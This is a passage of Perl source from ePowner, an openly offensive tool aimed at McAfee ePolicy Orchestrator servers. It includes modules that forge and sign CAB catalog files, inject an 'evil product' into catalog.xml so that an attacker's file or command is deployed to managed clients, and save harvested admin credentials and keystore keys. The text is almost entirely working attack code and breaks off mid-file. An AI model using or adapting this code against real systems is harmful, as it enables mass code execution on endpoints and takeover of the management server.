195 | $this->cdata_ncbytes( $mysize ); 196 | $this->cdata_nubytes( $mysize ); 197 | $mysize2 += $mysize; 198 | 199 | 200 | # HEADER SIZE PART 2 201 | $this->cheader_size( $mysize2 ); 202 | $mysize += $this->sizefile($filename); 203 | 204 | # FILES 205 | $this->cfile_init( $this->sizefile($filename) , 0, $file); 206 | $this->cfile_uoffset( 0 ); 207 | 208 | # WRITE 209 | open (OUT, ">$outfile") or die "$outfile: $!\n"; 210 | #cheaderwrite 211 | print OUT $this->{'cheader'}; 212 | print OUT $this->{'cfolder'}; 213 | print OUT $this->{'cfile'}; 214 | print OUT $this->{'cdata'}; 215 | 216 | my $cabin=''; 217 | open (IN, "$filename") or die "cab in: $!\n"; 218 | read (IN,$cabin, -s IN); 219 | 220 | print OUT $cabin; 221 | close OUT; 222 | close IN; 223 | } 224 | 225 | 226 | 227 | 1; 228 | -------------------------------------------------------------------------------- /Epowner/Cab/Helpers.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | package Epowner::Cab::Cab; 3 | 4 | sub sizefile{ 5 | my $this = shift; 6 | my $filename = shift; 7 | my $fs = -s $filename; 8 | return $fs; 9 | } 10 | 11 | sub number_of_datablocks { 12 | my $this = shift; 13 | my $filename = shift; 14 | 15 | my $size = $this->sizefile($filename); 16 | 17 | return int($size / 32768) + 1; 18 | } 19 | 20 | 21 | 22 | 1; 23 | -------------------------------------------------------------------------------- /Epowner/Cab/Structs.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | package Epowner::Cab::Cab; 4 | 5 | 6 | 7 | sub cheader_init { 8 | my $this = shift; 9 | my $nfolders = shift; 10 | my $nfiles = shift; 11 | my $flags = shift; 12 | my $setID = shift; 13 | my $cabID = shift; 14 | 15 | $this->{'cheader'} = 16 | "MSCF" . # sign 17 | "\x00\x00\x00\x00" . # res1 18 | "SIZE" . # size 19 | "\x00\x00\x00\x00" . # res2 20 | "OFFI" . # offsetfile 21 | "\x00\x00\x00\x00" . # res3 22 | "\x03" . # versionMIN 23 | "\x01" . # versionMAJ 24 | pack("v", $nfolders) . # nfolders 25 | pack("v", $nfiles) . # nfiles 26 | pack("v", $flags) . # flags 27 | pack("v", $setID) . # setID 28 | pack("v", $cabID) . # cabID 29 | ""; 30 | return 1; 31 | } 32 | 33 | 34 | sub cheader_size { 35 | my $this = shift; 36 | my $size = shift; 37 | $size = pack("V", $size); 38 | $this->{'cheader'} =~ s/SIZE/$size/g; 39 | } 40 | 41 | sub cheader_offsetfiles { 42 | my $this = shift; 43 | my $offset = shift; 44 | $offset = pack("V", $offset); 45 | $this->{'cheader'} =~ s/OFFI/$offset/g; 46 | } 47 | 48 | sub cfolder_init { 49 | 50 | # dword offsetdata; 51 | # word ndatab; 52 | # word typecomp; 53 | 54 | my $this = shift; 55 | my $ndatab = shift; 56 | 57 | $this->{'cfolder'} = 58 | "OFDA" . # offsetdata 59 | pack("v", $ndatab) . # ndatab 60 | pack("v", 0) . # typecomp (-> 0 = no compr) 61 | ""; 62 | 63 | } 64 | sub cfolder_offsetdata { 65 | my $this = shift; 66 | my $offset = shift; 67 | $offset = pack("V", $offset); 68 | $this->{'cfolder'} =~ s/OFDA/$offset/g; 69 | } 70 | 71 | sub cfile_init { 72 | 73 | #struct cfile 74 | #{ 75 | # dword usize; 76 | # dword uoffset; 77 | # word index; 78 | # word date; 79 | # word time; 80 | # word fattr; 81 | # byte name[MAXSIZE]; 82 | #}; 83 | 84 | 85 | my $this = shift; 86 | my $usize = shift; 87 | my $index = shift; 88 | my $filename = shift; 89 | 90 | $this->{'cfile'} = 91 | pack("V", $usize) . # usize 92 | "UOFF" . # uoffset 93 | pack("v", $index) . # index 94 | "\x97\x41" . # date #97 41 d7 7b 20 00 95 | "\xd7\x7b" . # time 96 | "\x20\x00" . # fattr TODO 97 | $filename . # filename 98 | "\x00" . # nullbyte 99 | ""; 100 | 101 | } 102 | 103 | sub cfile_uoffset { 104 | my $this = shift; 105 | my $offset = shift; 106 | $offset = pack("V", $offset); 107 | $this->{'cfile'} =~ s/UOFF/$offset/g; 108 | } 109 | 110 | 111 | sub cdata_init { 112 | 113 | #struct cdata 114 | #{ 115 | # dword checksum; 116 | # word ncbytes; 117 | # word nubytes; 118 | #}; 119 | 120 | my $this = shift; 121 | my $checksum = shift || 0; 122 | 123 | $this->{'cdata'} = 124 | pack("V", $checksum) . # checksum 125 | "NC" . # ncbytes 126 | "NU"; # nubytes 127 | } 128 | 129 | # set number of compressed bytes in datablock 130 | sub cdata_ncbytes { 131 | my $this = shift; 132 | my $ncbytes = shift; 133 | $ncbytes = pack("v", $ncbytes); 134 | $this->{'cdata'} =~ s/NC/$ncbytes/g; 135 | } 136 | 137 | # set number of uncompressed bytes in datablock 138 | sub cdata_nubytes { 139 | my $this = shift; 140 | my $nubytes = shift; 141 | $nubytes = pack("v", $nubytes); 142 | $this->{'cdata'} =~ s/NU/$nubytes/g; 143 | } 144 | 145 | 1; 146 | -------------------------------------------------------------------------------- /Epowner/CabSign/CabSign.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | package Epowner::CabSign::CabSign; 3 | 4 | # 5 | # Cabinet file signature ePolicy Orchestrator ONLY 6 | # 7 | 8 | use strict; 9 | use warnings; 10 | 11 | use Crypt::OpenSSL::RSA; 12 | use Crypt::OpenSSL::DSA; 13 | use Digest::SHA qw(sha1 sha256); 14 | use MIME::Base64; 15 | 16 | sub new{ 17 | my $this = {}; 18 | 19 | my ($class) = @_; # get the parameters 20 | 21 | $this->{'dsa_priv'} =''; # Perl DSA Object 22 | $this->{'dsa_pub'} =''; # key in string format 23 | $this->{'rsa_priv'} =''; # Perl RSA Object 24 | $this->{'rsa_pub_hash'} =''; # string 25 | 26 | $this->{'mcafee_tag'} = "McAfee ePolicy Orchestrator\x00"; 27 | 28 | $this->{'cab_content'} = ''; 29 | $this->{'cab_content_signed'} = ''; 30 | 31 | bless $this, $class; 32 | return $this 33 | } 34 | 35 | sub read_cabfile { 36 | 37 | my $this = shift; 38 | my $filename = shift; 39 | 40 | if(not -e $filename){ 41 | print "[-] ERROR (read_cabfile): file '$filename' not found\n"; 42 | exit; 43 | } 44 | 45 | # Read Cabfile 46 | my $cab_content; 47 | open(FILE,$filename) || die "$filename: $!"; 48 | read(FILE,$cab_content,-s FILE); # Suck in the whole file 49 | close(FILE); 50 | 51 | $this->{'cab_content'} = $cab_content; 52 | 53 | } 54 | 55 | sub write_cabfile_signed{ 56 | my $this = shift; 57 | my $filename = shift; 58 | 59 | # Write Cabfile 60 | open(FILE,">$filename") || die "[-] ERROR (write_cabfile_signed): $filename: $!"; 61 | print FILE $this->{'cab_content_signed'}; 62 | close(FILE); 63 | } 64 | 65 | sub sign_cab { 66 | 67 | my $this = shift; 68 | 69 | my $cab_content = $this->{'cab_content'}; 70 | 71 | # Add tags 72 | $cab_content = 73 | $cab_content . 74 | "\x2C\x00\x00\x00" . 75 | $this->{'mcafee_tag'} . 76 | "\x00" x 8 . 77 | "TFU\x00" . 78 | "\x9c\x01\x00\x00" . 79 | $this->{'dsa_pub'} ; 80 | 81 | # DSA Signature 82 | #================== 83 | #print " [+] Generating DSA Signature\n"; 84 | my $hash_sha1 = sha1($cab_content ); 85 | 86 | my $sig = $this->{'dsa_priv'}->do_sign($hash_sha1) or die " [-] ERROR: Wrong DSA parameters\n"; 87 | my $sig_r = $sig->get_r(); 88 | my $sig_s = $sig->get_s(); 89 | 90 | # Create final DSA signature structure 91 | my $dsa_signature = 92 | pack("C", (4 + length($sig_r) + length($sig_s))) ."\x00\x00\x00" . # size of signature struct 93 | "\x00" . pack("C", length($sig_r) * 8) . $sig_r . # r_len + r 94 | "\x00" . pack("C", length($sig_s) * 8) . $sig_s ; # s_len + s 95 | 96 | 97 | # RSA Signature 98 | #================== 99 | $this->{'rsa_priv'}->use_sha256_hash(); 100 | my $rsa_signature = $this->{'rsa_priv'}->sign($cab_content); 101 | 102 | 103 | # Signed cab file 104 | #================= 105 | my $cab_content_signed = 106 | $cab_content . 107 | $dsa_signature . # DSA Signature 108 | "\x2C\x00\x00\x00" . 109 | $this->{'rsa_pub_hash'} . # RSA PUB HASH 110 | pack("V", length($rsa_signature)) . 111 | $rsa_signature ; 112 | 113 | $this->{'cab_content_signed'} = $cab_content_signed; 114 | } 115 | 116 | 117 | sub load_dsa_pub_from_file { 118 | my $this = shift; 119 | my $filename = shift; 120 | 121 | if(not -e $filename){ 122 | print "[-] ERROR (load_dsa_pub_from_file): file '$filename' not found\n"; 123 | exit; 124 | } 125 | 126 | my $buf =''; 127 | open FILE, "$filename" or die "Couldn't open file: $!"; 128 | while (){ $buf .= $_;} 129 | close FILE; 130 | 131 | $this->{'dsa_pub'} = $buf; 132 | 133 | } 134 | 135 | 136 | sub load_dsa_priv_from_file { 137 | my $this = shift; 138 | my $filename = shift; 139 | 140 | if(not -e $filename){ 141 | print "[-] ERROR (load_dsa_priv_from_file): file '$filename' not found\n"; 142 | exit; 143 | } 144 | 145 | my $buf =''; 146 | open FILE, "$filename" or die "Couldn't open file: $!"; 147 | while (){ $buf .= $_;} 148 | close FILE; 149 | 150 | 151 | my @dsa_array = split(//,$buf); 152 | my ($dsa_p, $dsa_q, $dsa_g, $dsa_pub, $dsa_priv); 153 | # Extract p, q, g, priv and pub 154 | for(my $i=2;$i<130; $i++){ $dsa_p .= $dsa_array[$i] } 155 | for(my $i=132;$i<152; $i++){ $dsa_q .= $dsa_array[$i] } 156 | for(my $i=154;$i<282; $i++){ $dsa_g .= $dsa_array[$i] } 157 | for(my $i=284;$i<412; $i++){ $dsa_pub .= $dsa_array[$i] } 158 | for(my $i=415;$i<435; $i++){ $dsa_priv .= $dsa_array[$i] } 159 | # Create and set up DSA object 160 | $this->{'dsa_priv'} = Crypt::OpenSSL::DSA->new();; 161 | my $dsa_srv_priv = $this->{'dsa_priv'}; 162 | $dsa_srv_priv->set_pub_key($dsa_pub); 163 | $dsa_srv_priv->set_priv_key($dsa_priv); 164 | $dsa_srv_priv->set_p($dsa_p); 165 | $dsa_srv_priv->set_q($dsa_q); 166 | $dsa_srv_priv->set_g($dsa_g); 167 | 168 | } 169 | 170 | sub load_rsa_priv_from_file { 171 | my $this = shift; 172 | my $filename = shift; 173 | 174 | if(not -e $filename){ 175 | print "[-] ERROR (load_rsa_priv_from_file): file '$filename' not found\n"; 176 | exit; 177 | } 178 | 179 | my $key_string; 180 | open(FILE,$filename) || die "$filename: $!"; 181 | read(FILE,$key_string,-s FILE); 182 | close(FILE); 183 | 184 | $this->{'rsa_priv'} = Crypt::OpenSSL::RSA->new_private_key($key_string);; 185 | } 186 | 187 | sub load_rsa_pub_from_file { 188 | my $this = shift; 189 | my $filename = shift; 190 | 191 | if(not -e $filename){ 192 | print "[-] ERROR (load_rsa_pub_from_file): file '$filename' not found\n"; 193 | exit; 194 | } 195 | 196 | my $key_string; 197 | open(FILE,$filename) || die "$filename: $!"; 198 | read(FILE,$key_string,-s FILE); 199 | close(FILE); 200 | 201 | my $hash = encode_base64(sha256($key_string), ""); 202 | 203 | # save the hash 204 | $this->{'rsa_pub_hash'} = $hash; 205 | 206 | } 207 | 208 | 209 | 210 | 211 | 212 | 1; 213 | -------------------------------------------------------------------------------- /Epowner/Catalog.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Epowner::Cab::Cab; 4 | use Epowner::CabSign::CabSign; 5 | 6 | use File::Path; 7 | use Time::Piece; 8 | 9 | use strict; 10 | use warnings; 11 | 12 | 13 | 14 | 15 | #============================================================# 16 | # Catalog : From XML to Cab file # 17 | #============================================================# 18 | sub catalog_makecab { 19 | 20 | my $this = shift; 21 | 22 | my $xmlfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_xml_file} ; 23 | my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_cab_file} ; 24 | 25 | # Generate CAB file 26 | my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path}); 27 | $cab->makecab($xmlfile, $cabfile, 1); 28 | } 29 | 30 | #============================================================# 31 | # Catalog : From CAB to XML # 32 | #============================================================# 33 | sub catalog_extract { 34 | 35 | my $this = shift; 36 | 37 | 38 | my $xmlfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_xml_file} ; 39 | my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ; 40 | 41 | # Extract CAB file 42 | my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path}); 43 | $cab->extractcab($cabfile, $xmlfile); 44 | } 45 | 46 | 47 | #============================================================# 48 | # Catalog : Sign Cab file # 49 | #============================================================# 50 | sub catalog_signcab { 51 | 52 | my $this = shift; 53 | 54 | # filenames (catalog) 55 | my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_cab_file} ; 56 | my $signedcabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ; 57 | 58 | # filename (keys) 59 | my $dsa_pub = $this->{catalog_dsa_folder} . '/' . $this->{catalog_dsa_pub_file} ; 60 | my $dsa_priv = $this->{catalog_dsa_folder} . '/' . $this->{catalog_dsa_priv_file} ; 61 | my $rsa_pub = $this->{catalog_rsa_folder} . '/' . $this->{catalog_rsa_pub_file} ; 62 | my $rsa_priv = $this->{catalog_rsa_folder} . '/' . $this->{catalog_rsa_priv_file} ; 63 | 64 | 65 | my $cabsign = Epowner::CabSign::CabSign->new; 66 | 67 | # Crypto keys 68 | $cabsign->load_dsa_pub_from_file( $dsa_pub); 69 | $cabsign->load_dsa_priv_from_file($dsa_priv); 70 | $cabsign->load_rsa_priv_from_file($rsa_priv); 71 | $cabsign->load_rsa_pub_from_file($rsa_pub); 72 | 73 | # sign CAB file 74 | $cabsign->read_cabfile($cabfile); 75 | $cabsign->sign_cab(); 76 | $cabsign->write_cabfile_signed($signedcabfile); 77 | 78 | } 79 | 80 | #============================================================# 81 | # Catalog : From SignedCab to catalog.z # 82 | #============================================================# 83 | sub catalog_encrypt { 84 | 85 | my $this = shift; 86 | 87 | my $signedcab = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ; 88 | my $catalog_z = $this->{catalog_tmp_folder} . '/' . $this->{catalog_z_file} ; 89 | 90 | # Read Signed CAB 91 | my $buf =''; 92 | open FILE, "$signedcab" or die "Couldn't open $signedcab: $!"; 93 | while (){ $buf .= $_; } 94 | close FILE; 95 | 96 | my $enc = mcafee_3des_encrypt( 97 | $buf, # to encrypt 98 | sha1_hex($this->{des3_symkey}) # 3DES key in hex 99 | ); 100 | 101 | # Write 102 | open FILE, ">$catalog_z" or die "Couldn't open $catalog_z: $!"; 103 | print FILE $enc; 104 | close FILE; 105 | } 106 | 107 | 108 | #============================================================# 109 | # Catalog : From catalog.z to Signed cab file # 110 | #============================================================# 111 | sub catalog_decrypt { 112 | 113 | my $this = shift; 114 | 115 | my $cab = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ; 116 | my $catalog_z = $this->{catalog_tmp_folder} . '/' . $this->{catalog_z_file} ; 117 | 118 | # Read catalog.z 119 | my $buf =''; 120 | open FILE, "$catalog_z" or die "Couldn't open $catalog_z: $!"; 121 | while (){ $buf .= $_; } 122 | close FILE; 123 | 124 | my $dec = mcafee_3des_decrypt( 125 | $buf, # to decrypt 126 | sha1_hex($this->{des3_symkey}) # 3DES key in hex 127 | ); 128 | 129 | # Write 130 | open FILE, ">$cab" or die "Couldn't open $cab: $!"; 131 | print FILE $dec; 132 | close FILE; 133 | } 134 | 135 | 136 | 137 | #============================================================# 138 | # Catalog : Add a new product in catalog.xml # 139 | #============================================================# 140 | sub catalog_xml_add_product { 141 | 142 | my $this = shift; 143 | my $action = shift; #DEPLOY_FILE, DEPLOY_CMD or DEPLOY_CUSTOM 144 | 145 | my $evil_local_path; 146 | my $cmd; 147 | my $custom_folder; 148 | my $total_sizeKb =0; 149 | 150 | if($action eq DEPLOY_FILE){ 151 | $evil_local_path = shift; # the file we want to deploy on clients 152 | # is evil file exists ? 153 | if(not -f $evil_local_path){ 154 | print_err "[-] ERROR: (write_pkgcatalog_xml): file '$evil_local_path' not found\n"; 155 | exit; 156 | } 157 | # get evil file size 158 | my $evil_size = -s $evil_local_path ; 159 | $total_sizeKb += int($evil_size / 1024); 160 | }elsif ($action eq DEPLOY_CMD){ 161 | $cmd = shift; 162 | }elsif ($action eq DEPLOY_CUSTOM){ 163 | $custom_folder = shift; 164 | 165 | # read custom folder dir 166 | opendir DIR, $custom_folder or die "[-] ERROR (catalog_xml_add_product): can't open '$custom_folder' directory\n"; 167 | my @files = readdir(DIR); 168 | close DIR; 169 | 170 | # for each entry; add size in Kb 171 | foreach my $entry (@files){ 172 | next if $entry =~ /^\.$|^\.\.$|^run.bat$/; 173 | my $size = -s $custom_folder . "/" .$entry ; 174 | $total_sizeKb += int($size / 1024); 175 | } 176 | 177 | } 178 | 179 | my $signing_key_hash = shift; # which RSA key are used to sign the CAB file 180 | 181 | my $magic = "dcdd61260ffc0b282979b0a0e2047e8dfcdb57d1"; # we use a tag in the new catalog.xml file to check if we already modified that file 182 | # during a previous session. 183 | # If we find that tag, we will first remove the previous Product from the list.. 184 | # for your knowledge, this tag is equal to 'sha1(epowned)' 185 | 186 | # get run.bat file size 187 | my $run_size = -s $this->{deploy_run_bat} ; 188 | $total_sizeKb += int($run_size / 1024); 189 | 190 | 191 | # evil product info 192 | my $product_id = $this->{deploy_evil_product_id}; 193 | my $product_name = lc($product_id); 194 | 195 | # evil product XML content 196 | my $product_xml_entry = << "EOF"; 197 | 198 | 199 | 200 | 201 | foo.McS 202 | 84 203 | 1CAE83C1B4F3CE0 204 | 0DA7D44161661916B8E2F49CDC39C1543B7FDCE0 205 | 206 | $this->{deploy_evil_product_version} 207 | WNTW:4:0:4|WNTS:4:0:4|W2KW|W2KS|W2KAS|W2KDC|WXPW|WXPS|WXPHE|WVST|WVSTS|WNT7W 208 | 209 | $this->{deploy_evil_product_id} 210 | $product_name 211 | 212 | 213 | 20121007033624 214 | $product_name 215 | 1 216 | Install 217 | 0409 218 | $total_sizeKb 219 | 220 | $this->{deploy_evil_product_build} 221 | 222 | $signing_key_hash 223 | 224 | 225 | 226 | EOF 227 | 228 | 229 | 230 | # read current catalog XML file 231 | my $xml_file = $this->{catalog_tmp_folder} . "/" . $this->{catalog_xml_file}; 232 | my $xml_content =''; 233 | open FILE, "$xml_file" or die "Couldn't open $xml_file for reading: $!"; 234 | read (FILE, $xml_content, -s FILE); 235 | close FILE; 236 | 237 | 238 | # Extract Catalog version () 239 | my $catalog_version = $xml_content; 240 | $catalog_version =~ s/\n//g; 241 | $catalog_version =~ s/\r//g; 242 | $catalog_version =~ s/.*.*/$1/; 243 | # catalog_version = 20130108020230 244 | 245 | 246 | #print "DEBUG: current version : $catalog_version \n"; 247 | 248 | # Convert version to time and increment version 249 | my $time = Time::Piece->strptime($catalog_version, "%Y%m%d%H%M%S"); 250 | $time++; 251 | my $catalog_version_new = $time->strftime("%Y%m%d%H%M%S"); 252 | 253 | #print "DEBUG: new version : $catalog_version_new \n"; 254 | 255 | 256 | # check if we already add a product in that catalog file (previous session) 257 | if($xml_content =~ /$magic/){ 258 | print "[*] Previous evil product found in the catalog. Removing it ...\n"; 259 | 260 | my $magic_pos_begin = index($xml_content, ""); 261 | my $magic_pos_end = index($xml_content, "") + length(""); 262 | 263 | $xml_content = 264 | substr($xml_content,0, $magic_pos_begin) . # before magic 265 | substr($xml_content,$magic_pos_end) ; # after magic 266 | } 267 | 268 | 269 | # find the first product in catalog.xml 270 | my $pos = index($xml_content, ""); 271 | 272 | # create new catalog.xml content 273 | my $xml_content_new = 274 | "\n" . # new version 275 | $product_xml_entry . # our own ... 276 | substr($xml_content, $pos); # rest of the file 277 | 278 | 279 | # save the new catalog.xml 280 | open FILE, ">$xml_file" or die "Couldn't open $xml_file for writing: $!"; 281 | print FILE $xml_content_new ; 282 | close FILE; 283 | 284 | 285 | # return the new catalog version 286 | return $catalog_version_new; 287 | 288 | } 289 | 290 | 291 | 1; 292 | -------------------------------------------------------------------------------- /Epowner/Compress.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | 4 | use IO::Uncompress::Inflate qw(inflate $InflateError) ; 5 | use IO::Compress::Deflate qw(deflate $DeflateError) ; 6 | use Archive::Zip qw( :ERROR_CODES :CONSTANTS ); 7 | use Archive::Extract; 8 | 9 | use strict; 10 | use warnings; 11 | 12 | 13 | #============================================================# 14 | # Compress (Deflate) # 15 | #============================================================# 16 | sub compress_deflate { 17 | my $input = shift; 18 | my $data_compressed; 19 | deflate \$input => \$data_compressed or die "[-] ERROR (compress_deflate) :deflate failed: $DeflateError\n"; 20 | #print "input len: " . length($input) . "\noutput len:" . length($data_compressed) . "\n"; 21 | 22 | # Add ePo stuffs 23 | $data_compressed = 24 | pack("V", length($input)) . # len uncompreesed 25 | pack("V", length($data_compressed) ) . # len compressed 26 | $data_compressed ; 27 | 28 | return $data_compressed; 29 | } 30 | 31 | #============================================================# 32 | # Uncompress (inflate) # 33 | #============================================================# 34 | sub uncompress_inflate { 35 | my $input = shift; 36 | my $output; 37 | inflate \$input => \$output or die "[-] ERROR (uncompress_inflate) : inflate failed: $InflateError\n"; 38 | return $output; 39 | } 40 | 41 | 42 | #============================================================# 43 | # Create a ZIp file recursively # 44 | #============================================================# 45 | sub compress_zip_tree { 46 | my $this = shift; 47 | my $folder = shift; 48 | my $zipfile = shift; 49 | 50 | my $zip = Archive::Zip->new(); 51 | 52 | # Add a tree 53 | $zip->addTree($folder); 54 | 55 | # Save the Zip file 56 | unless ( $zip->writeToFileNamed($zipfile) == AZ_OK ) { die "[-] ERROR: (compress_zip_tree): can\'t write to '$zipfile'\n"; } 57 | } 58 | 59 | 60 | #============================================================# 61 | # Unzip a file # 62 | #============================================================# 63 | sub uncompress_zip { 64 | my $this = shift; 65 | my $zipfile = shift; 66 | my $dest_folder = shift; 67 | 68 | my $extractor = Archive::Extract->new( archive => $zipfile ); 69 | $extractor->extract( to => $dest_folder); 70 | } 71 | 72 | 1; 73 | -------------------------------------------------------------------------------- /Epowner/Config.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use strict; 4 | use warnings; 5 | 6 | #================================= 7 | # Config SAVE 8 | #================================= 9 | 10 | sub config_save { 11 | my $this = shift; 12 | 13 | my $file = $this->{config_file}; 14 | my $dsa_agent = $this->{dsa_agent}; 15 | my $agent_dsa_filename_private = $this->{config_file} . "_" . $this->{agent_dsa_filename_private}; 16 | 17 | print "[*] Saving Agent and Server configuration\n" if $this->{verbose}; 18 | print " [+] Agent/Server configuration saved to '$file' !\n" if $this->{verbose}; 19 | 20 | # Save DSA key 21 | $dsa_agent->write_priv_key($agent_dsa_filename_private); 22 | print " [+] Agent PRIVATE dsa key saved to '$agent_dsa_filename_private' !\n" if $this->{verbose}; 23 | 24 | $this->config_save_writefile(); 25 | 26 | } 27 | 28 | 29 | sub config_save_seqnum_only { 30 | # Change of last minute. Only to avoid console output 31 | my $this = shift; 32 | $this->config_save_writefile(); 33 | } 34 | 35 | 36 | 37 | sub config_save_writefile { 38 | 39 | my $this = shift; 40 | 41 | my $file = $this->{config_file}; 42 | my $dsa_agent = $this->{dsa_agent}; 43 | my $agent_dsa_filename_private = $this->{config_file} . "_" . $this->{agent_dsa_filename_private}; 44 | 45 | # Create config file 46 | open (CONFIG, ">$file") or die "[-] ERROR config_save: Can't open configuration file '$file'. $!\n"; 47 | print CONFIG << "EOF"; 48 | #---------------------------------------------# 49 | # ePowner - Agent & Server configuration # 50 | #---------------------------------------------# 51 | 52 | # Server settings 53 | \$this->{server_host} = "$this->{server_host}"; 54 | \$this->{server_port} = "$this->{server_port}"; 55 | \$this->{server_pubkeyhash} = "$this->{server_pubkeyhash}"; 56 | \$this->{server_is_dba} = $this->{server_is_dba}; 57 | \$this->{srv_exec_mode} = $this->{srv_exec_mode}; 58 | \$this->{srv_exec_priv} = $this->{srv_exec_priv}; 59 | \$this->{server_servername} = "$this->{server_servername}"; 60 | \$this->{server_mssql_whoami} = '$this->{server_mssql_whoami}'; 61 | \$this->{server_db_folder} = '$this->{server_db_folder}'; 62 | \$this->{server_install_folder} = '$this->{server_install_folder}'; 63 | \$this->{server_tomcat_folder} = '$this->{server_tomcat_folder}'; 64 | \$this->{server_apache_folder} = '$this->{server_apache_folder}'; 65 | 66 | # Web Console admin account 67 | \$this->{admin_username} = "$this->{admin_username}"; 68 | \$this->{admin_password} = "$this->{admin_password}"; 69 | 70 | # Attacker agent settings 71 | \$this->{agent_hostname} = "$this->{agent_hostname}"; 72 | \$this->{agent_ip} = "$this->{agent_ip}"; 73 | \$this->{agent_mac} = "$this->{agent_mac}"; 74 | \$this->{agent_guid} = "$this->{agent_guid}"; 75 | \$this->{agent_seqnum} = $this->{agent_seqnum}; 76 | 77 | # AES-128 Key (extracted from orion.keystore) 78 | \$this->{aes_symkey_keystore} = "$this->{aes_symkey_keystore}"; 79 | 80 | # Various strings generated during --register 81 | \$this->{common_prefix} = "$this->{common_prefix}"; 82 | \$this->{deploy_evil_product_id} = "$this->{deploy_evil_product_id}"; 83 | 84 | 85 | # States 86 | 87 | \$this->{state_registered} = $this->{state_registered}; 88 | 89 | # --srv-exec --setup-nondba already ran ? 90 | \$this->{state_exec_nondba_setup} = $this->{state_exec_nondba_setup}; 91 | 92 | # --add-admin already ran ? 93 | \$this->{state_add_admin} = $this->{state_add_admin}; 94 | 95 | # --cli-deploy used ? 96 | \$this->{state_cli_deploy} = $this->{state_cli_deploy}; 97 | 98 | # End of file 99 | EOF 100 | close CONFIG; 101 | 102 | } 103 | 104 | 105 | 106 | 107 | 108 | #================================= 109 | # Config RESTORE 110 | #================================= 111 | sub config_restore { 112 | 113 | my $this = shift; 114 | 115 | my $file = $this->{config_file}; 116 | my $dsa_agent = $this->{dsa_agent}; 117 | my $agent_dsa_filename_private = $this->{config_file} . "_" . $this->{agent_dsa_filename_private}; 118 | 119 | 120 | open (CONFIG, "$file") or die "[-] ERROR: Can't open configuration file '$file'. $!\n" . 121 | " Use '--register' parameter to register a new agent to the ePo server and then create\n" . 122 | " a new configuration file, or specify an alternate filename using '--config '\n"; 123 | my $config = join "", ; 124 | close CONFIG; 125 | eval $config; 126 | die "Couldn't interpret the configuration file ($file) that was given.\nError details follow: $@\n" if $@; 127 | 128 | print "[*] Restoring Agent and Server configuration from '$file'\n" if $this->{verbose}; 129 | 130 | # Load DSA priv key 131 | $this->{dsa_agent} = Crypt::OpenSSL::DSA->read_priv_key( $agent_dsa_filename_private ); 132 | print " [+] Agent PRIVATE dsa key loaded from '$agent_dsa_filename_private' !\n" if $this->{verbose}; 133 | 134 | # increment our seq num to be sure we use a value >= than the value expected by epo 135 | # if the code fails somewhere without saving the current seq number, our next requests 136 | # will be ignored by the ePo server (HTTP code 503 - Server Busy) 137 | #$this->{agent_seqnum}+=20; 138 | 139 | } 140 | 141 | 142 | 143 | 144 | 1; 145 | -------------------------------------------------------------------------------- /Epowner/DSA.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Crypt::OpenSSL::DSA; 4 | use Digest::SHA qw(sha1 sha1_hex); 5 | 6 | use strict; 7 | use warnings; 8 | 9 | 10 | #============================================================# 11 | # Create a McAfee DSA Signature # 12 | #============================================================# 13 | sub dsa_sign { 14 | my $buf = shift; # to encrypt 15 | my $dsa_priv = shift; # dsa object 16 | 17 | my $hash = sha1($buf); 18 | my $sig = $dsa_priv->do_sign($hash) or die " [-] ERROR: Wrong DSA parameters\n"; 19 | my $sig_r = $sig->get_r(); 20 | my $sig_s = $sig->get_s(); 21 | 22 | # Create final signature structure 23 | my $signature = 24 | pack("C", (4 + length($sig_r) + length($sig_s))) ."\x00\x00\x00" . # size of signature struct 25 | "\x00" . pack("C", length($sig_r) * 8) . $sig_r . # r_len + r 26 | "\x00" . pack("C", length($sig_s) * 8) . $sig_s ; # s_len + s 27 | 28 | return $signature; 29 | } 30 | 31 | 32 | 1; 33 | -------------------------------------------------------------------------------- /Epowner/Epo.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use strict; 4 | use warnings; 5 | 6 | use IO::Socket::SSL qw( SSL_VERIFY_NONE ); 7 | use Crypt::OpenSSL::DSA; 8 | use Crypt::Rijndael; 9 | 10 | 11 | # some constanst values 12 | use base 'Exporter'; 13 | use constant { 14 | DEPLOY_FILE => 0, 15 | DEPLOY_CMD => 1, 16 | DEPLOY_CUSTOM => 2, 17 | }; 18 | our @EXPORT_OK = ('DEPLOY_FILE', 'DEPLOY_CMD', 'DEPLOY_CUSTOM'); 19 | our %EXPORT_TAGS = ( constants => [ 'DEPLOY_FILE', 'DEPLOY_CMD', 'DEPLOY_CUSTOM' ] ); 20 | 21 | # Various Epowner modules 22 | use Epowner::Config; 23 | use Epowner::Compress; 24 | use Epowner::Print; 25 | use Epowner::HTTP; 26 | use Epowner::StringsManipulation; 27 | use Epowner::Catalog; 28 | use Epowner::PkgCatalog; 29 | use Epowner::SQL; 30 | 31 | # Crypto 32 | use Epowner::DSA; 33 | use Epowner::RSA; 34 | use Epowner::3DES; 35 | use Epowner::AES; 36 | 37 | # Binary structures 38 | use Epowner::BuildStructFullProps; 39 | use Epowner::BuildStructRegister; 40 | use Epowner::BuildStructEvent; 41 | 42 | # Tomcat modules 43 | use Epowner::TomcatLogin; 44 | use Epowner::TomcatAutomaticResponses; 45 | 46 | # Epowner modes 47 | use Epowner::ModeCommon; 48 | use Epowner::ModeCheck; 49 | use Epowner::ModeRegister; 50 | use 